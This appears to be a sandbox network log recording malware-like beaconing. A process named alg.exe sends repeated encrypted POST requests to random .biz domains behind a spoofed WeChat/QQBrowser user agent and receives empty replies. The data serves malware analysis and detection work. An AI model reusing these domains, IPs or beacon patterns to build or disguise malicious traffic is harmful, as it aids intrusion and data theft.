Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50061	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:04.200233936 CET	356	OUT	POST /tlbvmelxpwjipdp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: uphca.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:04.200253963 CET	778	OUT	Data Raw: 7e 19 c3 86 67 f6 a6 ad fe 02 00 00 f1 45 92 69 1c ea 5a 44 80 ce c1 34 0b 26 a9 6b 92 c6 d8 d6 29 b8 4b f3 e7 7b 81 51 eb 29 66 c8 d7 f4 95 a7 ea 25 0d d8 43 5e ab 52 f2 35 ec 80 16 f9 84 fa bc 5f e0 eb f4 d3 c6 59 a6 7a 34 f4 4d 05 38 88 9a 68 Data Ascii: ~gEiZD4&k)K{Q)f%C^R5_Yz4M8hjAUDk4bg?v3K1(*^H~KGFqeIL1-]g[KMKy>w7+4 ?mw{]2^RbVT&gz4F)Jh
Oct 28, 2024 16:52:04.877710104 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a2a6f6f45defcacd9251f0eb07875faf\|155.94.241.188\|1730130724\|1730130724\|0\|1\|0; path=/; domain=.uphca.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50062	34.211.97.45	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:04.902137995 CET	351	OUT	POST /pffvqbu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fjumtfnz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:04.902153969 CET	778	OUT	Data Raw: 76 3a 74 a4 31 21 bb 1a fe 02 00 00 d7 24 6f 37 38 09 c2 b9 89 c7 31 6e b8 12 b4 71 98 75 37 4d 27 0f d7 10 00 01 38 54 65 af f9 61 9b 53 b9 47 68 02 a6 ac 50 1f 91 ac 9d ae 6f b1 41 d5 64 90 df dc dc 67 94 80 cb 9d 91 50 ce a1 9f e1 cc 87 58 d1 Data Ascii: v:t1!$o781nqu7M'8TeaSGhPoAdgPX}[Ry19Ku}9dqh6^Q<$rU7GZ+7}P)]_cLN{<#7e%gQGW)RAD b)GArE!;M_MpE
Oct 28, 2024 16:52:05.731158018 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3f96aa0f2c261112bd17a11963e9cbfc\|155.94.241.188\|1730130725\|1730130725\|0\|1\|0; path=/; domain=.fjumtfnz.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50063	34.211.97.45	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:05.856065035 CET	355	OUT	POST /vebfxvjlhsxr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: hlzfuyy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:05.856118917 CET	778	OUT	Data Raw: 04 83 df 36 1d 12 e4 4b fe 02 00 00 53 a2 1a 70 45 9c 68 d2 6c 40 a8 0b 1d 25 47 de 3d 04 72 0d 41 2c 99 32 84 ad 13 f8 f9 5c a4 bf 54 46 19 5c 68 8e e2 f6 bb da 84 46 2a c7 d1 2e 48 5b e1 c7 fb 86 80 cc 6a d7 14 02 d5 a0 c1 85 c0 8b 7e cb e1 88 Data Ascii: 6KSpEhl@%G=rA,2\TF\hF.H[j~r}3cejyGc[Ql@IN\|Y)2AlQYAJirD%(J#bk$W!Luy}r@3-@i=yTIisTsM59RU2@h?
Oct 28, 2024 16:52:06.679814100 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=11bcfdadd795d4820c7ac57c1dcb87fa\|155.94.241.188\|1730130726\|1730130726\|0\|1\|0; path=/; domain=.hlzfuyy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50064	34.246.200.160	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:06.887774944 CET	347	OUT	POST /luseoc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: rffxu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:06.887804985 CET	778	OUT	Data Raw: c5 61 c8 52 24 49 3a b9 fe 02 00 00 6b 67 ed 81 3e e5 d7 cc ab 8f 8d cb 56 eb 43 7f dc 43 1c b7 c4 59 72 a3 be c0 94 e4 21 d5 2f eb 7a 13 f4 8b cc 7d 62 4d bd fd b2 48 d7 c9 6c 98 77 97 bd 4b 9e 02 e4 e1 66 3b fc fc 9a 65 2c ca ad a2 e0 fd 64 ca Data Ascii: aR$I:kg>VCCYr!/z}bMHlwKf;e,d\|a[B(\|GXgtRr3Q09f\AQ<wlK~7l<+!/EOdGJnPO^yC5+<k{@
Oct 28, 2024 16:52:07.864963055 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1e9440d992cbd4b414ef41f58da5c78b\|155.94.241.188\|1730130727\|1730130727\|0\|1\|0; path=/; domain=.rffxu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50065	18.246.231.120	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:07.893467903 CET	351	OUT	POST /ngujcsu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cikivjto.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:07.893503904 CET	778	OUT	Data Raw: bb 1e 36 99 1c 7f c4 1a fe 02 00 00 57 04 6c fc 05 52 a8 21 8f d9 14 57 cd 1b 25 44 a3 29 ea 81 bd d8 a8 12 d8 1d 87 80 63 43 a2 9c 4c 98 11 7b 00 94 d4 b2 33 bd 93 9d 40 15 92 9e f1 d6 3a 5b d3 7c 7a 44 13 39 b0 e8 75 b9 d0 e0 96 1f 8c 2f ad af Data Ascii: 6WlR!W%D)cCL{3@:[\|zD9u/ME0o5X>/4n b#z2X9?-{Qj9d0rG,&DRhzQ~=LL8#;rB-l& 4_;NR'
Oct 28, 2024 16:52:08.790822983 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5d72ff8c7be6b9a0f5d7f9d49e9311a9\|155.94.241.188\|1730130728\|1730130728\|0\|1\|0; path=/; domain=.cikivjto.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50066	47.129.31.212	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:08.813956976 CET	355	OUT	POST /iljbyhyeqa HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qncdaagct.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:08.813987017 CET	778	OUT	Data Raw: 7d 2c 24 20 b1 dc 74 56 fe 02 00 00 0c 0e 86 87 f1 af ec 37 e6 13 61 75 ed 8b f1 65 47 cb 7b 45 cb 6e 21 dc c2 88 84 ca ae e6 65 5f 5e ad 4a 70 32 eb 37 93 e6 b9 b2 2c a9 98 94 87 db bb bc dc f7 7c 17 7c 47 d9 68 52 a0 d2 1b aa 3e be ce 23 d1 89 Data Ascii: },$ tV7aueG{En!e_^Jp27,\|\|GhR>#DC 8S2zZ:~kOJ*8&W_@b{r1O]Eh0nFC-12m6)=Sa\3T0`
Oct 28, 2024 16:52:10.247664928 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cb34769752192bd60357b93d9929a8d4\|155.94.241.188\|1730130729\|1730130729\|0\|1\|0; path=/; domain=.qncdaagct.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50067	13.251.16.150	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:10.371886015 CET	350	OUT	POST /ysihuw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: shpwbsrw.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:10.371917963 CET	778	OUT	Data Raw: 36 79 fd fb 0e a0 bd 57 fe 02 00 00 61 cd bd eb 8f 8b 40 e3 d4 6c 3c 7b 0e 61 74 32 ed 88 04 fe a5 1f 6b aa 3e ef 6e e6 03 8b b5 c1 2a 70 21 3a 75 4f d2 f9 7d f3 fd 79 82 b8 90 10 30 5c 3a b3 89 22 59 8f e6 e8 17 8c 0e bc b9 c3 a1 e3 fe d6 23 34 Data Ascii: 6yWa@l<{at2k>np!:uO}y0\:"Y#4o]'h3xLz05zhA$cMHWc93Ij^yO!8B'ECgBzU[<[%iu$/pG$YM(EMF-'{8
Oct 28, 2024 16:52:11.836721897 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=64916621fa3f43fcc8fee95264eaef8f\|155.94.241.188\|1730130731\|1730130731\|0\|1\|0; path=/; domain=.shpwbsrw.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50068	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:11.859622955 CET	350	OUT	POST /cbrxaago HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cjvgcl.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:11.859649897 CET	778	OUT	Data Raw: 58 6a de f6 03 cf c2 57 fe 02 00 00 40 e6 55 44 df 72 a3 bc 92 ba 75 e8 ce 1c a6 99 ec e3 fc 35 57 14 7d 1d 32 4e 8d 20 e5 66 1f b5 8a 30 12 5e 0a 14 07 87 f3 3f 34 63 2b 83 b4 75 f4 1d dc c8 a1 5d 39 58 a1 b1 ef 5c 66 99 e1 65 ae 5e 0e 87 f1 a9 Data Ascii: XjW@UDru5W}2N f0^?4c+u]9X\fe^Jj6@rx;KT5>acA$"x\|=wGW6m]mLSEy>\om_TMG0HI7~J*d.N ?;t`l,r$z9}
Oct 28, 2024 16:52:12.522706032 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ac6ea345b9a274c0bdfb90f64cc2363b\|155.94.241.188\|1730130732\|1730130732\|0\|1\|0; path=/; domain=.cjvgcl.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50069	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:12.548007011 CET	357	OUT	POST /herwmjqyyara HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: neazudmrq.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:12.548091888 CET	778	OUT	Data Raw: 1f c2 d4 1e 6e e5 78 4a fe 02 00 00 8f 07 22 7f df 8e 3b c4 60 83 95 b3 bb c6 af 03 bc df 1e 8d cc 9d c3 15 f2 75 f6 4c 2b 63 3d ff 63 e0 c6 74 45 4f 2f 5c 8c 98 fb e8 3f f5 91 0f 06 75 8e a5 0f 52 eb ba 8b 9d 81 2b 26 cc 7d 48 d7 26 c6 fd 4b 36 Data Ascii: nxJ";`uL+c=ctEO/\?uR+&}H&K6M^GoGT\|!d,WVS!tZ?{iFIM)Au~YXt3ZA\|2<+AT/\CnDEga_>Zk#, AD~''
Oct 28, 2024 16:52:13.222980022 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=47d4f979fa8d43d7b8be7c763345abe0\|155.94.241.188\|1730130733\|1730130733\|0\|1\|0; path=/; domain=.neazudmrq.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50070	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:13.336462975 CET	350	OUT	POST /vtxunog HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pgfsvwx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:13.336535931 CET	778	OUT	Data Raw: 16 cb 82 06 f1 7d e0 d0 fe 02 00 00 9c b4 e6 64 9b 7e 0a 8a 91 62 a9 91 69 36 10 02 62 94 3c d4 47 79 b7 e3 0c bc 3b 38 91 52 00 75 14 23 b1 20 0e 80 87 49 97 60 ac 38 80 81 28 36 85 1c ff b4 aa d3 8c 48 bb b0 fe ec 50 45 b5 4e 23 7c 36 71 7c dc Data Ascii: }d~bi6b<Gy;8Ru# I`8(6HPEN#\|6q\|Q<C44Bi,'4:sB1iVwSX+#JQ#gFZ3^l`haVG~=O9y>iT^APuzz749
Oct 28, 2024 16:52:13.998702049 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=f17e49057007e04b9e52997456a252a3\|155.94.241.188\|1730130733\|1730130733\|0\|1\|0; path=/; domain=.pgfsvwx.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50071	47.129.31.212	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:14.020118952 CET	355	OUT	POST /ataqclhdwkpjy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: aatcwo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:14.020148039 CET	778	OUT	Data Raw: dc 23 78 2e 5c 93 97 c3 fe 02 00 00 80 e3 88 53 65 f3 3f 78 46 b0 34 21 53 97 12 30 2e 0c 10 97 1e a0 cc a6 62 8b df 4e f5 a6 42 be bd 33 42 b0 dd f0 12 c1 11 2d c2 d7 d1 a8 7f 08 50 c8 d4 76 48 0e 60 6c e7 52 2c 54 84 e9 d1 e8 4d 58 82 5e c0 9d Data Ascii: #x.\Se?xF4!S0.bNB3B-PvH`lR,TMX^,{^KZ@?7aa~RH-S.nsimx \|-{Dr8-'dPTz{GbeuJJ6W2[\|bL@-J8Z
Oct 28, 2024 16:52:15.880515099 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=102f53bb9f6eea9d7b9d4432e372649d\|155.94.241.188\|1730130735\|1730130735\|0\|1\|0; path=/; domain=.aatcwo.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:52:15.880718946 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=102f53bb9f6eea9d7b9d4432e372649d\|155.94.241.188\|1730130735\|1730130735\|0\|1\|0; path=/; domain=.aatcwo.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50072	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:15.902965069 CET	353	OUT	POST /ruuxvcxs HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: kcyvxytog.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:15.903019905 CET	778	OUT	Data Raw: c7 d1 92 27 8f ce dc c3 fe 02 00 00 a7 f4 05 4f 89 99 8e fc 60 a3 84 df 4f 3c 69 e5 6f 2f f2 29 c9 c6 ca 75 34 fe 78 8c 62 b4 02 42 45 9d 08 c4 59 10 62 bc 25 e2 ab ca 57 bf 05 b9 10 66 f9 d1 63 9e 33 ce 0d d1 79 b4 50 3d e4 6b ef c2 08 23 41 6d Data Ascii: 'O`O<io/)u4xbBEYb%Wfc3yP=k#AmiNBt#bce@Zv+mDC#c]4H)5"i4K]T0_t#GclT0/.^Jcx%>cvJHS;$:cR
Oct 28, 2024 16:52:16.570225000 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8b721e60349fffd3b19fb018a1a9b8cf\|155.94.241.188\|1730130736\|1730130736\|0\|1\|0; path=/; domain=.kcyvxytog.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50073	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:16.592303991 CET	355	OUT	POST /exbxilbdfwja HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: nwdnxrd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:16.592336893 CET	778	OUT	Data Raw: 8b 2c bf 4f b0 8d 6a 25 fe 02 00 00 58 7a 05 c0 8b dc 7e 47 be 7f 11 c1 2b dc 1b a5 0c e5 6b 0a 36 05 f8 73 30 4a 83 b1 9a 5a 8d 5f 43 1f dc 75 b9 f6 36 ac d8 ee f5 ba 80 81 a2 51 f4 54 91 84 f0 ae e3 04 a2 0f 99 7e c0 ef 2d bf 1e 4d 2f ec 00 5b Data Ascii: ,Oj%Xz~G+k6s0JZ_Cu6QT~-M/[va`#Eq+GyMoqYqV6`ly!;oox+^R{LgX1hz :%H(xc7Ys4r_:Z^!i6G:GTKe4
Oct 28, 2024 16:52:17.427901030 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=250ad26713d244d7ad73c10e237e14e3\|155.94.241.188\|1730130737\|1730130737\|0\|1\|0; path=/; domain=.nwdnxrd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50074	18.246.231.120	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:17.449295044 CET	347	OUT	POST /htae HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ereplfx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:17.449332952 CET	778	OUT	Data Raw: 83 19 33 01 36 e9 4e 54 fe 02 00 00 e4 48 ea 75 29 f7 14 11 54 3e 17 67 df 5b dc db f4 3e 9f 14 44 86 f2 27 48 06 7c 06 95 ef 65 dd 03 b2 54 88 c1 38 c1 e0 53 7f 08 25 8e d7 61 55 be 90 c4 83 10 44 6d ac 81 f2 1f 7a ed 8d 12 dc 77 7a b7 2b b8 7a Data Ascii: 36NTHu)T>g[>D'H\|eT8S%aUDmzwz+zd&d-)KID&#2lXln^$E]n&b:Mdx7v9c#73sYpT+-7{a)p iU9'=GVA.Y'}>%\|[Sp[0
Oct 28, 2024 16:52:18.271089077 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4a2f35b072c3b9f914bf45de635a9494\|155.94.241.188\|1730130738\|1730130738\|0\|1\|0; path=/; domain=.ereplfx.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50075	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:18.294682026 CET	346	OUT	POST /vkhuh HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ptrim.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:18.294738054 CET	778	OUT	Data Raw: 44 44 5b bf c8 82 82 e8 fe 02 00 00 dd 5d 67 bd ab 1a 8d 51 66 5d dc 4a 41 86 5c e3 9c 07 63 a6 4f c0 e7 91 d1 10 a9 1b 46 a9 d7 86 5a 84 60 99 12 e4 2d 26 5e 22 39 b4 b5 39 97 06 ca 13 9f 22 63 bf 4e 93 7a ec 7f 99 c0 56 96 2a f8 64 0d 3b 1f 40 Data Ascii: DD[]gQf]JA\cOFZ`-&^"99"cNzVd;@W^UY [/KC!\|#2=.:ym8{?r[v-,f0^s/QK;)[_<O3G\l]^{bMoKrrnG? PIYB
Oct 28, 2024 16:52:20.084760904 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e19b52423f1ec9acccd375d107203c1c\|155.94.241.188\|1730130739\|1730130739\|0\|1\|0; path=/; domain=.ptrim.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
